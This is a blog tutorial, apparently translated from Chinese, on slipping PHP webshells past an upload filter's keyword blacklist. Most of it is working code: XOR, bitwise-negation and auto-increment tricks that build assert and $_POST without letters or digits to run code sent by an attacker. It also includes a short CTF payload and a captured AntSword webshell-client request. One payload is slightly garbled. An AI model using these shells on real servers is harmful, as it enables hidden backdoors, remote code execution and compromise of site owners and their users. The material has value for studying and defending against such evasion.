Use XOR, negation, and auto-increment bypass_webshell_waf

Table of contents

introduction

Use XOR

introduce

eval and assert

Ant Sword Connection

Advanced questions

Use negation

Use auto-increment


introduction

There is such a waf to defend the files we upload:

function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
 
    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }
 
    
    return False;
}

Many commands are filtered, such as $_. The $_, ^, ~, etc. here are some of the techniques we use bypas_webshell_waf today.

Use XOR

introduce

To give an example: we can construct a code of the following form:

<?php
    echo "A"^"`";
?>

You can see the results here!

The reason why such a result is obtained is because the character "A" and the character "`" are XORed in the code.

In PHP, when two variables are XORed, the string is first converted into an ASCII value, and then the ASCII value is converted into binary and then XORed. After the XOR is completed, the result is converted from binary to ASCII value, and then Convert ASCII value to string.

In the above example:

The ASCII value of A is 65, and the corresponding binary value is 0100 0001

The ASCII value of ` is 96, and the corresponding binary value is 0110 0000

According to the rules of the XOR operator: the same is 0 and the difference is 1. We can calculate that the binary value of XOR is 00100001, the corresponding ASCII value is 33, and the corresponding string value is! Got it

We all know that PHP is a weakly typed language, which means that in PHP we can directly declare a variable and perform initialization or assignment operations without declaring the type of the variable in advance. It is precisely because of this feature of PHP's weak type that we implicitly convert PHP's variable types and use this feature to perform some unconventional operations, such as converting integer types into string types and treating Boolean types as integer types. , or treat strings as functions. Let’s look at a piece of code:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

$_++;This line of code means to increment the variable named"_". The default value of undefined variables in PHP is null, null==false==0 , we can get a number by incrementing an undefined variable without using any number.

$__="?" ^ "}";Perform an XOR operation on the characters "?" and "}", and assign the result B to the variable named "__" (two underscores)$ __ ();

Through the above assignment operation, the value of variable$__ is B, so this line can be regarded as B(). In PHP, this line of code means calling function B, so The execution result is Hello Angel_Kitty.

Note: In PHP, we can process strings as functions.

So can we use this method to try to construct a webshell backdoor without letters and numbers?

For example, you can construct a piece of code like this:

<?php
$_++;// $_ = 1
$__=("#"^"|");// $__ = _
$__.=("."^"~");// _P
$__.=("/"^"`");// _PO
$__.=("|"^"/");// _POS
$__.=("{"^"/");// _POST 
${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);
?>

eval and assert

We can access it in the browser:

First pass an eval to 0, and then pass phpinfo() to 1; see if it can be parsed

Obviously there is no parsing here

Try changing eval to assert and try again:

The parsing is successful here, so why can't eval be executed, but assert can be executed?

The answer is because:

  • Because eval is a language constructor and not a function, it cannot be called from variadic functions.

  • And we can succeed using assert, because assert is considered a function in php

Ant Sword Connection

Since assert can be executed normally, let’s try to see if we can use Ant Sword to connect:

But when we tested the connection, we got a warning that the returned data was empty.

$POST['nanjing'] submitted by POST[& #39;nanjing'])1, our original intention is to execute assert($

And our Chinese Ant Sword also posted the data of nanjing as %40ini_set and the like, and we must be clear that the parameters in our eval function are characters, and the parameters in the assert function are expressions (or functions)

 Then we can try to capture the packet and access it:

This is the packet capture content. Our string is executed, so the execution fails.

POST /test6.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1050
Connection: close
0=assert&1=%24_POST%5B'nanjing'%5D&nanjing=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22c93609%22.%22c3f3a1%22%3Becho%20%40asenc(%24output)%3Becho%20%2250b55%22.%220267c%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

Then we directly enter 0=assert&1 in the password field and try to connect:

Why does the execution still fail when we directly enter 0=assert&1 in the Ant Sword password without encoding? The reason is the same as above

0=assert&1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%220501%22.%2286a5%22%3Becho%20%40asenc(%24output)%3Becho%20%22bb%22.%220bf%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

Then let’s try to connect using encoding: 

Why did we execute base64 and the link was successful?

Because we have an extra eval function, we are actually executing assert(eval()), so it can be executed.

  • assert('adsadasdsadasdasdsa') contains only strings
  • assert(eval(base64dddddd)); There is eval function inside

Its essence is still assert(eval()), so it can still be executed.

Advanced questions

Now if there is a question like this:

1.php

<?php 
include "2.php";
if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
?>

2.php:

<?php
function getFlag()
{
    echo "i love security";
}

We can construct a payload like this:

payload:

?code=$_="`{
   
   {
   
   {"^"?<>/";${$_}[_]();&_=getFlag

Try accessing it in your browser:

You can see the successful access

Use negation

We can also bypass the above problem by taking advantage and doing the opposite:

We can take a look at the result of getFlag's ~ (reverse)

<?php
$a = "getFlag";
echo urlencode(~$a);

 

Use this method to bypass:

payload2:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

 You can see that it was successful here!

You can also use negation like this:

$____='';
$___="瞰";
$____.=~($___{$_});  //a
$___="和";
$____.=~($___{$__});  //s
$___="和";
$____.=~($___{$__});  //s
$___="的";
$____.=~($___{$_});   //e
$___="半";
$____.=~($___{$_});   //r
$___="始";
$____.=~($___{$__});  //t
echo $____;
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

echo $_____;

You can see that the final print result is: assert_POST. If we pass in such a webshell, we can implement a webshell without letters and numbers. 

Use auto-increment

When dealing with arithmetic operations on character variables, PHP follows Perl's habits rather than C's.

For example, in Perl $a = 'Z'; $a++; will turn $a into 'AA', while in C, a = 'Z' ; a++; will turn a into '[' ('Z' has an ASCII value of 90 and '[' has an ASCII value of 91).

Note that character variables can only be incremented, not decremented, and only pure letters (a-z and A-Z) are supported. Incrementing/decrementing other character variables is invalid and the original string will not change.

That is to say, 'a'++ => 'b', 'b'++ => 'c'... Therefore, as long as we can get a variable whose value is a, we can get all the characters in a-z through the auto-increment operation.

So, how to get a variable whose value is the string 'a'?

The first letter of the array (Array) is a capital A, and the fourth letter is a lowercase a. In other words, we can get both lowercase and uppercase A, which means we can get all the letters a-z and A-Z.

In PHP, if you force the connection between an array and a string, the array will be converted into a string, and its value will be Array

Array[0] can be taken out in this way

<?php
$_=[];
$_=@"$_"; // $_='Array';
echo $_;
$_=$_['!'=='@']; // $_=$_[0];

The above code can remove the first character 'A' of Array

Then construct ASSERT

$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

Then construct the POST

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

Finally put together:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

We can test it in the browser:

You can see that the phpinfo we passed into _ can be executed successfully!​ 

Guess you like

Origin blog.csdn.net/qq_68163788/article/details/134729174